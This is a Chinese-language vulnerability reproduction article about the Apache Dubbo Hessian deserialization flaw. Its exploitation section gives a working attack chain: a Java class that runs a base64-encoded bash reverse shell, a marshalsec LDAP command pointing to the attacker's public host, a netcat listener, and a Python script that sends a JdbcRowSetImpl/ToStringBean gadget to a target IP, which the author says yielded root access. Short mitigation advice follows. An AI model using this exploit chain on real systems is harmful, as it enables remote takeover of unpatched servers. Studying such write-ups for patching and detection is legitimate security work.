Dubbo反序列化漏洞复现 – 作者:KevinMahone

一、漏洞描述

1.1 漏洞原理

Apache Dubbo是阿里巴巴公司开源的一个高性能优秀的服务框架,使得应用可通过高性能的RPC实现服务的输出和输入功能,漏洞存在于Apache dubbo默认使用的反序列化工具hessian,服务消费者发送请求给服务的提供者,服务提供者会将消费者提供的参数反序列化,在反序列化的过程中,如果传入的参数存在一些恶意请求,或恶意代码,就会导致反序列化漏洞。

1.2 漏洞危害

通过反序列化漏洞可控制服务器权限:查看任意文件数据、执行任意外部命令、上传任意木马、通过其跳板进行内网横向,进而控制其它存在漏洞的服务器。

1.3 影响版本

  • 2.7.0 <= Apache Dubbo <= 2.7.4.1

  • 2.6.0 <= Apache Dubbo <= 2.6.7

  • Apache Dubbo = 2.5.x

1.4 空间测绘

站点服务国家分布情况,以及端口使用情况:
image.png

GitHub star数量:
image.png

1.5 框架特征

  1. 基于Basic HTTP认证方式的可通过返回包:
    image.png
    image.png

  2. 可以根据端口扫描版本特征:
    image.png

二、漏洞利用

本操作使用python模拟dubbo通信协议发送rpc请求,数据包含带有无法识别的服务名称service_name和方法名称method_name,及恶意参数(JdbcRowSetImpl等),在反序列化这些恶意参数时便会触发JNDI注入,导致执行任意恶意代码

2.1 信息收集

使用nmap扫描服务器端口,侦测到于35052端口开启了dubbo服务:
image.png

2.2 编译恶意文件类

IDEA新建一个Java项目,在Java项目下新建一个java文件(expRevShell.java),对待执行的命令使用base64加密,写入到java文件中:
image003.png

具体的Runtime类执行的外部命令恶意代码如下:

public class expRevShell {
    public expRevShell(){
        try{
            java.lang.Runtime.getRuntime().exec(
                    "bash -c {echo,<base64加密后的待执行命令> }|{base64,-d}|{bash,-i}");
        }
        catch(java.io.IOException e){e.printStackTrace();}}
}

使用javac对java文件进行编译:
image005.png

2.3 HTTP服务器架设

在一台公网主机上启动HTTP服务,并将编译完成的class文件放入web站点根目录下,方便加载调用:
image007.png

2.4 LDAP服务监听端口

使用marshalsec启动ldap服务,并于8087端口进行监听:
image.png

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://<公网主机IP地址>/#expRevShell 8087

2.5 Netcat监听端口

公网主机上另起一个shell,开启nc监听:
image012.jpg

2.6 发送恶意RPC请求

将服务消费者待序列化的恶意参数打入到受害者的服务器中,使其进行反序列化,执行先前的恶意参数:
image014.jpg

使用Python模拟dubbo通信协议发送RPC请求的EXP代码如下:(dubbo3.py)

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('47.xxx.xxx.246', 35052)
JdbcRowSetImpl=new_object(
      'com.sun.rowset.JdbcRowSetImpl',
      dataSource="ldap://<监听公网主机的IP地址>:8087/expRevShell",
      strMatchColumns=["foo4"]
      )

JdbcRowSetImplClass=new_object(
      'java.lang.Class',
     name="com.sun.rowset.JdbcRowSetImpl",
      )
toStringBean=new_object(    'com.rometools.rome.feed.impl.ToStringBean',
      beanClass=JdbcRowSetImplClass,
      obj=JdbcRowSetImpl
      )
resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
    method_name='rce',
    args=[toStringBean])

2.7 利用成功

执行exp后,成功拿到对方服务器的shell权限(root权限),完全控制对方服务器:
image.png

执行对方服务器上的任意命令:
image.png

查看操作系统信息:(其它敏感操作将不再进行展示!)
image.png

三、防御方式

3.1 代码加固

漏洞被利用的类在rome-{version}.jar包中,公网服务可以考虑自查是否引用了rome-{version}.jar包,如果引用了可以考虑重写toString()方法,重新编译并加载到生产环境;

3.2 版本升级

将dubbo升级到最新版本 https://dubbo.apache.org/zh/docs

3.3 出网限制

反序列化漏洞利用需要远程加载恶意类,如不影响业务可以将服务器配置出外网限制;

3.4 访问控制

使用IP地址白名单的方式配置可信IP,非可信IP禁止访问。

来源:freebuf.com 2021-06-30 16:21:16 by: KevinMahone

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论